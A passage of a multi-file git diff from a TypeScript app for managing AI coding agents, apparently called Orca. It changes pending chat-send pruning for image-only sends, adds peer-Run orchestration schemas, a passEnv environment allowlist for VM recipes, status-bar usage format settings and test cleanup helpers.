+++ b/src/shared/native-chat/transcript/native-chat-pending-occurrence.test.ts
@@ -76,4 +76,47 @@ describe('pending sends typed through an agent TUI', () => {
     expect(prunePendingSends(pending, transcript)).toEqual([])
     expect(pendingSendsAsMessages(pending, transcript)).toEqual([])
   })
+
+  it('lets each pathless image row retire one delivered image-only send, once, oldest first', () => {
+    const send = (
+      id: string,
+      extra: Partial<NativeChatPendingSend> = {}
+    ): NativeChatPendingSend => ({
+      id,
+      text: '',
+      imagePaths: [`/tmp/orca-paste-${id}.png`],
+      sentAt: 100,
+      afterMessageId: 'working',
+      ...extra
+    })
+    const pending = [send('a', { delivery: 'rejected' }), send('b'), send('c')]
+    const imageRow = (id: string, timestamp: number): NativeChatMessage => ({
+      id,
+      role: 'user',
+      blocks: [{ type: 'image-ref', url: 'data:image/png;base64,iVBORw0K' }],
+      timestamp,
+      source: 'transcript'
+    })
+    const before = [imageRow('older-image', 50), message('working', 'assistant', 'busy', 90)]
+    expect(pendingSendsAsMessages(pending, before).map((row) => row.id)).toEqual([
+      'pending:a',
+      'pending:b',
+      'pending:c'
+    ])
+
+    const landed = [...before, imageRow('queued-image', 110)]
+    expect(pendingSendsAsMessages(pending, landed).map((row) => row.id)).toEqual([
+      'pending:a',
+      'pending:c'
+    ])
+    expect(prunePendingSends(pending, landed)).toBe(pending)
+    const replied = [...landed, message('reply', 'assistant', 'ok', 120)]
+    const remaining = prunePendingSends(pending, replied)
+    expect(remaining.map((entry) => entry.id)).toEqual(['a', 'c'])
+    expect(pendingSendsAsMessages(remaining, replied).map((row) => row.id)).toEqual([
+      'pending:a',
+      'pending:c'
+    ])
+    expect(prunePendingSends(remaining, replied).map((entry) => entry.id)).toEqual(['a', 'c'])
+  })
 })
diff --git a/src/shared/native-chat/transcript/native-chat-pending-sends.ts b/src/shared/native-chat/transcript/native-chat-pending-sends.ts
index 579605e0bc6..d08f1baa080 100644
--- a/src/shared/native-chat/transcript/native-chat-pending-sends.ts
+++ b/src/shared/native-chat/transcript/native-chat-pending-sends.ts
@@ -1,5 +1,6 @@
 import { nativeChatContinuationSendText } from './native-chat-continuation-send'
-import type { NativeChatMessage } from '../native-chat-types'
+import { isImageRefBlock, type NativeChatMessage } from '../native-chat-types'
+import { normalizedNativeChatUserMessageText } from './native-chat-image-transcript-markers'
 import {
   advancedNativeChatUserContentCounts,
   advancedNativeChatUserRows,
@@ -9,6 +10,7 @@ import {
   nativeChatPendingMatchKey,
   nativeChatPendingMatchingAfter,
   nativeChatPendingOccurrence,
+  normalizeNativeChatPendingText,
   selectPendingIndicesRepresentedByUserRows,
   type NativeChatGluedUserRow,
   type NativeChatUserRow
@@ -40,6 +42,8 @@ export type NativeChatPendingSend = {
   matchingOccurrence?: number
   /** Shared time boundary when that message boundary is unavailable. */
   matchingAfterTimestamp?: number
+  /** Pathless image rows already claimed by pruned sends, so this send cannot reclaim them. */
+  claimedImageRowIds?: readonly string[]
 }
 
 function messagesAfterPendingBoundary(
@@ -132,6 +136,52 @@ function gluedCandidateRows(
   })
 }
 
+// Pathless image rows (Claude queued prompts) cannot name their send, so each is claimed once, oldest send first.
+// Failed or uncertain writes never claim one, so another send's image cannot hide them.
+function claimPathlessImageRow(
+  entry: NativeChatPendingSend,
+  allMessages: readonly NativeChatMessage[],
+  claimed: Set<string>,
+  advancedOnly: boolean
+): boolean {
+  const count = entry.imagePaths?.filter(Boolean).length ?? 0
+  if (
+    count === 0 ||
+    // Only a real row boundary or a proven-empty session; client-clock boundaries could bind old images.
+    (typeof entry.afterMessageId !== 'string' && !entry.afterEmptyTranscriptSessionId) ||
+    entry.delivery !== undefined ||
+    entry.writeUnconfirmedAt !== undefined ||
+    normalizeNativeChatPendingText(entry.text)
+  ) {
+    return false
+  }
+  const messages = messagesAfterPendingBoundary(allMessages, entry)
+  const lastNonUser = messages.findLastIndex((message) => message.role !== 'user')
+  const row = messages.find((message, index) => {
+    if (
+      message.role !== 'user' ||
+      claimed.has(message.id) ||
+      (advancedOnly && index > lastNonUser)
+    ) {
+      return false
+    }
+    const images = message.blocks.filter(isImageRefBlock)
+    return (
+      images.length === count &&
+      images.every((image) => !image.path) &&
+      !normalizedNativeChatUserMessageText(message)
+    )
+  })
+  if (row) {
+    claimed.add(row.id)
+  }
+  return Boolean(row)
+}
+
+function carriedImageRowClaims(pending: readonly NativeChatPendingSend[]): Set<string> {
+  return new Set(pending.flatMap((entry) => entry.claimedImageRowIds ?? []))
+}
+
 /** Keep echoes until a later non-user turn to avoid first-turn flashes during transient empty reads. */
 export function prunePendingSends<T extends NativeChatPendingSend>(
   pending: T[],
@@ -141,6 +191,8 @@ export function prunePendingSends<T extends NativeChatPendingSend>(
     return pending
   }
   const consumed = new Map<string, number>()
+  const claimedImageRows = carriedImageRowClaims(pending)
+  const carriedClaimCount = claimedImageRows.size
   const exactKeep = pending.map((entry) => {
     const contentKey = nativeChatPendingContentKey(entry)
     const key = nativeChatPendingMatchKey(entry)
@@ -152,7 +204,7 @@ export function prunePendingSends<T extends NativeChatPendingSend>(
     const used = consumed.get(key) ?? 0
     const occurrence = nativeChatPendingOccurrence(entry, used)
     consumed.set(key, Math.max(used, occurrence))
-    return occurrence > available
+    return occurrence > available && !claimPathlessImageRow(entry, messages, claimedImageRows, true)
   })
   // Lost Enter can glue sends into one transcript row; retire them after the assistant advances.
   const stillOpen = pending.filter((_, index) => exactKeep[index])
@@ -167,7 +219,15 @@ export function prunePendingSends<T extends NativeChatPendingSend>(
     const openIndex = stillOpen.indexOf(entry)
     return openIndex === -1 || !gluedRepresented.has(openIndex)
   })
-  return next.length === pending.length ? pending : next
+  if (next.length === pending.length) {
+    return pending
+  }
+  // Claims here retire their sends; hand them to the remaining image sends so none reuses the row.
+  return claimedImageRows.size === carriedClaimCount
+    ? next
+    : next.map((entry) =>
+        entry.imagePaths?.length ? { ...entry, claimedImageRowIds: [...claimedImageRows] } : entry
+      )
 }
 
 /** Sends whose transcript row has not landed yet; exact and glued matches both hide an echo. */
@@ -179,6 +239,7 @@ export function visibleNativeChatPendingSends<T extends NativeChatPendingSend>(
     return pending
   }
   const consumed = new Map<string, number>()
+  const claimedImageRows = carriedImageRowClaims(pending)
   const exactVisible = pending.map((entry) => {
     const contentKey = nativeChatPendingContentKey(entry)
     const key = nativeChatPendingMatchKey(entry)
@@ -190,7 +251,10 @@ export function visibleNativeChatPendingSends<T extends NativeChatPendingSend>(
     const used = consumed.get(key) ?? 0
     const occurrence = nativeChatPendingOccurrence(entry, used)
     consumed.set(key, Math.max(used, occurrence))
-    return occurrence > represented
+    return (
+      occurrence > represented &&
+      !claimPathlessImageRow(entry, existingMessages, claimedImageRows, false)
+    )
   })
   // Hide glued echoes once their user row exists, before assistant advancement permits pruning.
   const stillVisible = pending.filter((_, index) => exactVisible[index])
diff --git a/src/shared/native-chat/transcript/native-chat-turn-fold.ts b/src/shared/native-chat/transcript/native-chat-turn-fold.ts
index 74fd0c448c8..3c82fc21b5c 100644
--- a/src/shared/native-chat/transcript/native-chat-turn-fold.ts
+++ b/src/shared/native-chat/transcript/native-chat-turn-fold.ts
@@ -6,6 +6,7 @@ import { AGENT_SESSION_HOOK_SENT_BACK_PRESENTATION } from '../../agent-session/j
 import { AGENT_SESSION_ORCA_STOP_PRESENTATION } from '../../agent-session/lifecycle/agent-session-orca-stop'
 import { AGENT_SESSION_TURN_NOTICE_PRESENTATION } from '../../agent-session/journal/agent-session-turn-notice'
 import { nativeChatRowRendersContent } from './native-chat-row-content'
+import { NATIVE_CHAT_GENERATED_IMAGE_PRESENTATION } from '../native-chat-generated-image'
 import { isStoppedBeforeStartBlock } from '../native-chat-stopped-before-start'
 import { nativeChatRowRendersProse } from '../native-chat-trailing-run'
 import {
@@ -28,7 +29,7 @@ export type NativeChatTurnFoldRow = {
   outlivesTurn: boolean
   /** System failures compete as final answers so failed turns end on visible errors. */
   reportsFailure: boolean
-  /** Plans and turn notices remain visible independently of the agent's answer. */
+  /** Plans, turn notices and generated images remain visible independently of the agent's answer. */
   explainsTurn: boolean
   /** A Stop hook sent the agent back after it answered, so the prose before this row is an answer too. */
   sendsBack: boolean
@@ -84,7 +85,8 @@ function deriveTurnFoldRow(
           block.presentation === AGENT_SESSION_COMPACTION_SKIPPED_PRESENTATION ||
           block.presentation === AGENT_SESSION_ORCA_STOP_PRESENTATION ||
           block.presentation === AGENT_SESSION_TURN_NOTICE_PRESENTATION ||
-          block.presentation === AGENT_SESSION_HOOK_SENT_BACK_PRESENTATION)
+          block.presentation === AGENT_SESSION_HOOK_SENT_BACK_PRESENTATION ||
+          block.presentation === NATIVE_CHAT_GENERATED_IMAGE_PRESENTATION)
     ),
     sendsBack: message.blocks.some(
       (block) =>
diff --git a/src/shared/orca-browser-cli-commands.ts b/src/shared/orca-browser-cli-commands.ts
index 24b933a00e5..b1a76e6255d 100644
--- a/src/shared/orca-browser-cli-commands.ts
+++ b/src/shared/orca-browser-cli-commands.ts
@@ -49,6 +49,7 @@ export const ORCA_BROWSER_CLI_COMMAND_KEYS = {
     'open-url',
     'tab list',
     'tab show',
+    'tab annotations',
     'tab current',
     'tab switch',
     'tab create',
diff --git a/src/shared/orca-yaml-hook-types.ts b/src/shared/orca-yaml-hook-types.ts
index 6206a270540..03370ecc4b6 100644
--- a/src/shared/orca-yaml-hook-types.ts
+++ b/src/shared/orca-yaml-hook-types.ts
@@ -40,6 +40,9 @@ export type OrcaVmRecipe = {
   destroyDisabled?: boolean
   // Per-mode wall-clock limits; orca.yaml accepts one number for every mode or a per-mode map.
   timeoutSeconds?: OrcaVmRecipeTimeoutSeconds
+  // Opt-in allowlist of Orca's environment variables the scripts receive (plus a safe base set).
+  // Omitted means scripts inherit the full environment.
+  passEnv?: string[]
 }
 
 export type OrcaVmRecipeLifecycleMode = 'create' | 'suspend' | 'resume' | 'destroy'
diff --git a/src/shared/orca-yaml.ts b/src/shared/orca-yaml.ts
index 63c854f85b6..73c32f3287a 100644
--- a/src/shared/orca-yaml.ts
+++ b/src/shared/orca-yaml.ts
@@ -13,6 +13,7 @@ import {
   MAX_ORCA_YAML_COLLECTION_ENTRIES
 } from './orca-yaml-file-limit'
 import { parseEphemeralVmRecipeTimeoutSeconds } from './ephemeral-vm-recipe-timeouts'
+import { parseRecipePassEnv } from './ephemeral-vm-recipe-env'
 
 function asRecord(value: unknown): Record<string, unknown> | null {
   return value !== null && typeof value === 'object' && !Array.isArray(value)
@@ -182,6 +183,18 @@ function normalizeVmRecipes(value: unknown): VmRecipeParseResult {
           message: `Recipe "${id}" ${timeouts.message} Steps keep no time limit.`
         })
       }
+      const parsedPassEnv =
+        record.passEnv === undefined ? undefined : parseRecipePassEnv(record.passEnv)
+      if (parsedPassEnv === null) {
+        // Why: a typo must not widen the environment back to everything, and dropping the recipe
+        // would let a same-id plugin recipe or a stored snapshot run with the full environment.
+        diagnostics.push({
+          index,
+          field: 'passEnv',
+          message: `Recipe "${id}" passEnv must be a list of environment variable names (a trailing * matches a prefix). Scripts only receive basic variables until it is fixed.`
+        })
+      }
+      const passEnv = parsedPassEnv === null ? [] : parsedPassEnv
       return {
         id,
         name,
@@ -194,7 +207,8 @@ function normalizeVmRecipes(value: unknown): VmRecipeParseResult {
         ...(destroyDisabled ? { destroyDisabled: true } : {}),
         ...(timeouts.ok && timeouts.timeoutSeconds
           ? { timeoutSeconds: timeouts.timeoutSeconds }
-          : {})
+          : {}),
+        ...(passEnv ? { passEnv } : {})
       }
     })
     .filter((entry): entry is OrcaVmRecipe => entry !== null)
diff --git a/src/shared/orchestration/orchestration-rpc-contract.ts b/src/shared/orchestration/orchestration-rpc-contract.ts
index 40872534b1d..43828627849 100644
--- a/src/shared/orchestration/orchestration-rpc-contract.ts
+++ b/src/shared/orchestration/orchestration-rpc-contract.ts
@@ -40,7 +40,8 @@ const ORCHESTRATION_MUTATION_METHODS = new Set([
   'orchestration.federationImport',
   'orchestration.federationStop',
   'orchestration.federationRelease',
-  'orchestration.federationRetain'
+  'orchestration.federationRetain',
+  'orchestration.peerRunCancel'
 ])
 
 const RETIRED_ORCHESTRATION_METHODS = new Set(['orchestration.run', 'orchestration.runStop'])
diff --git a/src/shared/orchestration/remote-owned-wire.ts b/src/shared/orchestration/remote-owned-wire.ts
new file mode 100644
index 00000000000..d52d253b10c
--- /dev/null
+++ b/src/shared/orchestration/remote-owned-wire.ts
@@ -0,0 +1,79 @@
+import { z } from 'zod'
+
+// What a paired server and the Orca that coordinates a Run on it exchange about that Run's workers
+// (contract-b1-b3). The server owns the workers; these carry its facts home, in its order.
+
+/** The coordinator's Run a call is about, and the conversation its queue items come home under. */
+export const RemoteOwnedPeerRun = z.object({
+  runId: z.string().min(1).max(256),
+  conversationId: z.string().min(1).max(256),
+  label: z.string().min(1).max(256)
+})
+export type RemoteOwnedPeerRun = z.infer<typeof RemoteOwnedPeerRun>
+
+export const REMOTE_OWNED_WIRE_VERSION = 1
+
+const Header = {
+  v: z.literal(REMOTE_OWNED_WIRE_VERSION),
+  id: z.string().min(1),
+  homeRunId: z.string().min(1),
+  peerRunId: z.string().min(1)
+}
+
+/** A final message filed in the peer Run's mailbox, with the Dispatch and Task its sender worked for. */
+export const RemoteOwnedWorkerMail = z.object({
+  ...Header,
+  message: z.object({
+    from: z.string().min(1),
+    type: z.enum([
+      'status',
+      'dispatch',
+      'worker_done',
+      'merge_ready',
+      'escalation',
+      'handoff',
+      'decision_gate',
+      'question'
+    ]),
+    subject: z.string(),
+    body: z.string(),
+    payload: z.string().nullable(),
+    priority: z.enum(['normal', 'high', 'urgent']),
+    threadId: z.string().nullable()
+  }),
+  dispatchId: z.string().min(1).nullable(),
+  taskId: z.string().min(1).nullable()
+})
+export type RemoteOwnedWorkerMail = z.infer<typeof RemoteOwnedWorkerMail>
+
+/** A peer-Run Dispatch, its worker or its Task changed state on the server, or the server's reset removed it. */
+export const RemoteOwnedWorkerState = z.object({
+  ...Header,
+  dispatch: z.object({
+    id: z.string().min(1),
+    taskId: z.string().min(1),
+    status: z.enum(['pending', 'dispatched', 'completed', 'failed', 'circuit_broken']),
+    workerState: z.string().min(1).nullable(),
+    lastFailure: z.string().nullable(),
+    agent: z.string().nullable()
+  }),
+  task: z.object({
+    status: z.enum(['pending', 'ready', 'dispatched', 'completed', 'failed', 'blocked']),
+    result: z.string().nullable()
+  }),
+  /** The server's report owner settled this change through its unobserved-prompt correction. */
+  correctedUnobservedPrompt: z.boolean(),
+  removed: z.object({ reason: z.string().min(1) }).nullable()
+})
+export type RemoteOwnedWorkerState = z.infer<typeof RemoteOwnedWorkerState>
+
+export const REMOTE_OWNED_ITEM_KINDS = {
+  worker_mail: RemoteOwnedWorkerMail,
+  worker_state: RemoteOwnedWorkerState
+} as const
+
+/** Params of orchestration.peerRunCancel; the Run comes from the call's peer-Run envelope. */
+export const PeerRunCancelParams = z.object({}).strict()
+
+/** Dispatches in the peer Run the server has not proven terminal after running the ordinary stop on each. */
+export const PeerRunCancelResult = z.object({ remaining: z.number().int().nonnegative() })
diff --git a/src/shared/persisted-ui-state-types.ts b/src/shared/persisted-ui-state-types.ts
index b2fb7d89ef2..57cfd9b2ee8 100644
--- a/src/shared/persisted-ui-state-types.ts
+++ b/src/shared/persisted-ui-state-types.ts
@@ -9,6 +9,7 @@ import type { ContextualTourId } from './contextual-tours'
 import type { FeatureInteractionState } from './feature-interactions'
 import type { UsagePercentageDisplay } from './usage-percentage-display'
 import type { StatusBarUsageMode } from './status-bar-usage-mode'
+import type { StatusBarUsageFormat } from './status-bar-usage-format'
 import type { PersistedTrustedOrcaHooks } from './orca-yaml-hook-types'
 import type { CustomPet } from './pet-types'
 import type {
@@ -148,6 +149,8 @@ export type PersistedUIState = {
   usagePercentageDisplay?: UsagePercentageDisplay
   /** Client-side footer presentation; verbose preserves the pre-roster all-window default. */
   statusBarUsageMode?: StatusBarUsageMode
+  /** User template for footer usage text; empty template keeps the built-in rendering. */
+  statusBarUsageFormat?: StatusBarUsageFormat
   dismissedUpdateVersion: string | null
   /** Version when the sign-out notice was seen or dismissed; any value suppresses future appearances. */
   dismissedUnexpectedSignoutVersion?: string | null
diff --git a/src/shared/plugins/languages/protected-copy-keys.json b/src/shared/plugins/languages/protected-copy-keys.json
index 61f954189d0..6ff3ce2be9e 100644
--- a/src/shared/plugins/languages/protected-copy-keys.json
+++ b/src/shared/plugins/languages/protected-copy-keys.json
@@ -70,13 +70,9 @@
     "auto.components.agent-workspace-trust-decision.keyword-hooks",
     "auto.components.agent-workspace-trust-decision.keyword-trust",
     "auto.components.agent-workspace-trust-decision.let-agents-ask",
-    "auto.components.agent-workspace-trust-decision.prompt-description",
-    "auto.components.agent-workspace-trust-decision.prompt-remembered",
-    "auto.components.agent-workspace-trust-decision.prompt-title",
     "auto.components.agent-workspace-trust-decision.setting-description",
     "auto.components.agent-workspace-trust-decision.setting-global-off",
     "auto.components.agent-workspace-trust-decision.setting-title",
-    "auto.components.agent-workspace-trust-decision.setting-undecided",
     "auto.components.agent-workspace-trust-decision.trust-repository",
     "auto.components.automations.AutomationsPage.080dcb5fbb",
     "auto.components.automations.AutomationsPage.15e0bfb13b",
@@ -596,6 +592,8 @@
     "auto.components.terminal.pane.PinnedTabCloseDialog.6c190f295a",
     "auto.components.terminal.pane.PinnedTabCloseDialog.c337c9d75c",
     "auto.components.terminal.pane.PinnedTabCloseDialog.dont_ask_again",
+    "auto.components.terminal.pane.PinnedTabCloseDialog.unsent_notes_description",
+    "auto.components.terminal.pane.PinnedTabCloseDialog.unsent_notes_title",
     "auto.components.workspace.cleanup.WorkspaceCleanupDialog.191f0bc98e",
     "auto.components.workspace.cleanup.WorkspaceCleanupDialog.1d3503357d",
     "auto.components.workspace.cleanup.WorkspaceCleanupDialog.38ca0b1400",
@@ -886,6 +884,7 @@
     "settings.accounts.claudeRemoveFolder",
     "settings.browser.extensions.description",
     "settings.browser.extensions.empty",
+    "settings.browser.extensions.enabledToggleLabel",
     "settings.browser.extensions.heldUpdate",
     "settings.browser.extensions.keywordChrome",
     "settings.browser.extensions.keywordExtension",
diff --git a/src/shared/program-status/agent-status-projector.test.ts b/src/shared/program-status/agent-status-projector.test.ts
index ff9f9185b6c..ebaa4b40ce2 100644
--- a/src/shared/program-status/agent-status-projector.test.ts
+++ b/src/shared/program-status/agent-status-projector.test.ts
@@ -28,4 +28,18 @@ describe('createProgramStatusProjector', () => {
       { state: 'done', sessionBoundary: undefined }
     ])
   })
+
+  it('does not list the OpenCode sessions sharing a folder as subagents', () => {
+    const projector = createProgramStatusProjector(() => 1000)
+    const msg = Buffer.from('2 sessions working').toString('base64')
+    const payload = projector
+      .process(
+        osc(`state=working:app=opencode:msg=${msg}`) +
+          osc('state=working:id=ses_4sxfcEbQ8hnQuO:app=opencode') +
+          osc('state=working:id=ses_9kLmNpQrSpJQGKF:app=opencode')
+      )
+      .payloads.at(-1)?.payload
+    expect(payload).toMatchObject({ state: 'working', toolInput: '2 sessions working' })
+    expect(payload?.subagents).toBeUndefined()
+  })
 })
diff --git a/src/shared/program-status/agent-status-projector.ts b/src/shared/program-status/agent-status-projector.ts
index d7f271fbc91..5e56de8f5b3 100644
--- a/src/shared/program-status/agent-status-projector.ts
+++ b/src/shared/program-status/agent-status-projector.ts
@@ -27,7 +27,8 @@ import { ProgramStatusRecordSet, type ProgramStatusRecord } from './records'
 /** OSC 7501 `app` ids whose Orca agent id differs. Other apps pass through verbatim. */
 const APP_TO_AGENT_TYPE: Readonly<Record<string, string>> = {
   'claude-code': 'claude',
-  'grok-build': 'grok'
+  'grok-build': 'grok',
+  'kiro-cli': 'kiro'
 }
 
 function agentTypeForProgramStatusApp(app: string | undefined): string | undefined {
@@ -173,7 +174,9 @@ export function createProgramStatusProjector(now: () => number = Date.now): Prog
     const at = now()
     const live = new Set<string>()
     const children: AgentSubagentSnapshot[] = []
-    for (const record of records.descendants()) {
+    // OpenCode keys its records by peer root sessions (its own and other panes'), never by child sessions.
+    const subagentRecords = records.root()?.app === 'opencode' ? [] : records.descendants()
+    for (const record of subagentRecords) {
       const state = subagentState(record)
       if (record.id === null || state === null) {
         continue
diff --git a/src/shared/project-group-types.ts b/src/shared/project-group-types.ts
index 034868f823a..7bf9c19d8a7 100644
--- a/src/shared/project-group-types.ts
+++ b/src/shared/project-group-types.ts
@@ -51,11 +51,14 @@ export type NestedRepoScanResult = {
 
 export type ProjectGroupImportMode = 'group' | 'separate'
 
+export type ProjectGroupImportErrorCode = 'not_in_scan' | 'not_git_repository' | 'import_failed'
+
 export type ProjectGroupImportProjectResult = {
   path: string
   projectId?: string
   status: 'imported' | 'already-known' | 'failed'
   error?: string
+  errorCode?: ProjectGroupImportErrorCode
 }
 
 export type ProjectGroupImportResult = {
diff --git a/src/shared/remote-runtime/host-store/runtime-environment-store-read-cache-integration.test.ts b/src/shared/remote-runtime/host-store/runtime-environment-store-read-cache-integration.test.ts
index e567fa52b0c..7b667538831 100644
--- a/src/shared/remote-runtime/host-store/runtime-environment-store-read-cache-integration.test.ts
+++ b/src/shared/remote-runtime/host-store/runtime-environment-store-read-cache-integration.test.ts
@@ -1,6 +1,7 @@
 import * as fs from 'node:fs'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
+import { removeTempDirs } from '../../testing/remove-temp-dirs.test-support'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import { encodePairingOffer } from '../pairing/pairing'
 import type * as BoundedReader from '../../file-content/node-bounded-file-reader'
@@ -51,11 +52,11 @@ beforeEach(() => {
   fs.mkdirSync(userDataPath, { mode: 0o700 })
   __resetSecureFileHardenedPathsForTests()
 })
-afterEach(() => {
+afterEach(async () => {
   hooks.failChmod = false
   hooks.beforeRead = undefined
   hooks.afterRead = undefined
-  fs.rmSync(root, { recursive: true, force: true })
+  await removeTempDirs([root])
 })
 
 function addServer(profile: string, name: string, seed: number): string {
diff --git a/src/shared/remote-runtime/host-store/runtime-environment-store-same-server.test.ts b/src/shared/remote-runtime/host-store/runtime-environment-store-same-server.test.ts
index d583bc34059..1599ab99baf 100644
--- a/src/shared/remote-runtime/host-store/runtime-environment-store-same-server.test.ts
+++ b/src/shared/remote-runtime/host-store/runtime-environment-store-same-server.test.ts
@@ -1,6 +1,7 @@
-import { mkdtempSync, rmSync } from 'node:fs'
+import { mkdtempSync } from 'node:fs'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
+import { removeTempDirs } from '../../testing/remove-temp-dirs.test-support'
 import { afterEach, beforeEach, describe, expect, it } from 'vitest'
 import { encodePairingOffer } from '../pairing/pairing'
 import {
@@ -18,17 +19,11 @@ function pairingCode(endpoint: string, deviceToken = 'first-token', publicKeyB64
 
 describe('pairing a server that is already saved', () => {
   let userDataPath: string
-  const originalPlatform = Object.getOwnPropertyDescriptor(process, 'platform')
   beforeEach(() => {
-    // Why: this suite tests store contents, while secure-file tests cover Windows ACLs.
-    Object.defineProperty(process, 'platform', { configurable: true, value: 'linux' })
     userDataPath = mkdtempSync(join(tmpdir(), 'orca-runtime-env-same-server-'))
   })
-  afterEach(() => {
-    if (originalPlatform) {
-      Object.defineProperty(process, 'platform', originalPlatform)
-    }
-    rmSync(userDataPath, { recursive: true, force: true })
+  afterEach(async () => {
+    await removeTempDirs([userDataPath])
   })
 
   it('refreshes the saved entry instead of saving the server twice under a new name', () => {
diff --git a/src/shared/remote-runtime/host-store/runtime-environment-store-unreadable-records.test.ts b/src/shared/remote-runtime/host-store/runtime-environment-store-unreadable-records.test.ts
index 93beaea6deb..a590feb3433 100644
--- a/src/shared/remote-runtime/host-store/runtime-environment-store-unreadable-records.test.ts
+++ b/src/shared/remote-runtime/host-store/runtime-environment-store-unreadable-records.test.ts
@@ -1,6 +1,7 @@
-import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'
+import { mkdtempSync, readFileSync, writeFileSync } from 'node:fs'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
+import { removeTempDirs } from '../../testing/remove-temp-dirs.test-support'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import { encodePairingOffer } from '../pairing/pairing'
 import {
@@ -46,9 +47,9 @@ describe('runtime environment store with records this build cannot read', () =>
     userDataPath = mkdtempSync(join(tmpdir(), 'orca-environment-unreadable-'))
     vi.spyOn(console, 'warn').mockImplementation(() => {})
   })
-  afterEach(() => {
+  afterEach(async () => {
     vi.restoreAllMocks()
-    rmSync(userDataPath, { recursive: true, force: true })
+    await removeTempDirs([userDataPath])
   })
 
   // Why a key per name: two names with one key are one server, which the store refreshes in place.
diff --git a/src/shared/remote-runtime/host-store/runtime-environment-store.test.ts b/src/shared/remote-runtime/host-store/runtime-environment-store.test.ts
index 4ff59492fcc..794192ebee7 100644
--- a/src/shared/remote-runtime/host-store/runtime-environment-store.test.ts
+++ b/src/shared/remote-runtime/host-store/runtime-environment-store.test.ts
@@ -1,7 +1,8 @@
-import { mkdtempSync, readdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs'
+import { mkdtempSync, readdirSync, readFileSync, writeFileSync } from 'node:fs'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
-import { afterEach, beforeEach, describe, expect, it, onTestFinished, vi } from 'vitest'
+import { removeTempDirs } from '../../testing/remove-temp-dirs.test-support'
+import { afterEach, describe, expect, it, onTestFinished, vi } from 'vitest'
 import { encodePairingOffer } from '../pairing/pairing'
 import {
   addEnvironmentFromPairingCode,
@@ -31,20 +32,9 @@ function pairingCode(
 
 describe('runtime environment store', () => {
   const tempDirs: string[] = []
-  const originalPlatform = Object.getOwnPropertyDescriptor(process, 'platform')
 
-  beforeEach(() => {
-    // Why: this suite tests store timestamps, while secure-file tests cover Windows ACLs.
-    Object.defineProperty(process, 'platform', { configurable: true, value: 'linux' })
-  })
-
-  afterEach(() => {
-    if (originalPlatform) {
-      Object.defineProperty(process, 'platform', originalPlatform)
-    }
-    for (const dir of tempDirs.splice(0)) {
-      rmSync(dir, { recursive: true, force: true })
-    }
+  afterEach(async () => {
+    await removeTempDirs(tempDirs.splice(0))
   })
 
   function writeProfileKeypair(userDataPath: string, fill: number): void {
diff --git a/src/shared/remote-runtime/remote-runtime-memory-limits.ts b/src/shared/remote-runtime/remote-runtime-memory-limits.ts
index c35e01b1f0a..d0ffb5a95c9 100644
--- a/src/shared/remote-runtime/remote-runtime-memory-limits.ts
+++ b/src/shared/remote-runtime/remote-runtime-memory-limits.ts
@@ -84,6 +84,7 @@ export function serializeRemoteRuntimeRpcRequest(args: {
     orchestrationCapability: args.envelope?.orchestrationCapability,
     orchestrationContractVersion: args.envelope?.orchestrationContractVersion,
     orchestrationRequestId: args.envelope?.orchestrationRequestId,
+    orchestrationPeerRun: args.envelope?.orchestrationPeerRun,
     compatibilityInvocationId: args.envelope?.compatibilityInvocationId,
     orchestrationCompatibilityEvidence: args.envelope?.orchestrationCompatibilityEvidence
   })
diff --git a/src/shared/rpc-contract/client-ui-params.ts b/src/shared/rpc-contract/client-ui-params.ts
index de4925feb14..eda750d2356 100644
--- a/src/shared/rpc-contract/client-ui-params.ts
+++ b/src/shared/rpc-contract/client-ui-params.ts
@@ -202,6 +202,26 @@ export const UiUpdateFields = z
     statusBarVisible: z.boolean().optional(),
     usagePercentageDisplay: z.enum(['used', 'remaining']).optional(),
     statusBarUsageMode: z.enum(['verbose', 'compact']).optional(),
+    statusBarUsageFormat: z
+      .object({
+        template: z.string(),
+        byProvider: z
+          .object({
+            claude: z.string().optional(),
+            codex: z.string().optional(),
+            gemini: z.string().optional(),
+            'opencode-go': z.string().optional(),
+            kimi: z.string().optional(),
+            minimax: z.string().optional(),
+            grok: z.string().optional(),
+            antigravity: z.string().optional(),
+            cursor: z.string().optional(),
+            zcode: z.string().optional(),
+            muse: z.string().optional()
+          })
+          .optional()
+      })
+      .optional(),
     dismissedUpdateVersion: NullableString.optional(),
     dismissedUnexpectedSignoutVersion: NullableString.optional(),
     lastUpdateCheckAt: z.number().finite().nullable().optional(),
diff --git a/src/shared/rpc-contract/orchestration-params.ts b/src/shared/rpc-contract/orchestration-params.ts
index cedac9622cb..a86e95b8198 100644
--- a/src/shared/rpc-contract/orchestration-params.ts
+++ b/src/shared/rpc-contract/orchestration-params.ts
@@ -74,7 +74,9 @@ export const ReplyParams = z.object({
 export const InboxParams = z.object({
   limit: OptionalFiniteNumber,
   // Filter inbox by handle to agree with check --all.
-  terminal: OptionalString
+  terminal: OptionalString,
+  // Only this Run's mail; a paired Orca's inbox is always narrowed to its Run.
+  run: OptionalString
 })
 
 export const TaskCreateParams = z.object({
diff --git a/src/shared/rpc-contract/orchestration-worker-start-params.ts b/src/shared/rpc-contract/orchestration-worker-start-params.ts
index 128c8a46a8e..1cbdeb8853c 100644
--- a/src/shared/rpc-contract/orchestration-worker-start-params.ts
+++ b/src/shared/rpc-contract/orchestration-worker-start-params.ts
@@ -31,7 +31,9 @@ export const WorkerStartParams = z
     effort: OptionalWorkerLaunchPreference,
     retryOf: OptionalString,
     timeoutMs: OptionalFiniteNumber,
-    devMode: z.boolean().optional()
+    devMode: z.boolean().optional(),
+    /** Only from the paired Orca coordinating this Run: its own ID for the Task this start creates or reopens. */
+    adoptTaskId: OptionalString
   })
   .superRefine((params, ctx) => {
     if (!params.task && !params.spec) {
diff --git a/src/shared/rpc-contract/rpc-params-catalog.generated.ts b/src/shared/rpc-contract/rpc-params-catalog.generated.ts
index d68a27482b2..bd26cbe5fec 100644
--- a/src/shared/rpc-contract/rpc-params-catalog.generated.ts
+++ b/src/shared/rpc-contract/rpc-params-catalog.generated.ts
@@ -41,6 +41,7 @@ import {
 } from '../orcad-peer-desktops-contract'
 import { OrcadTerminalCensusParamsSchema } from '../orcad-terminal-census'
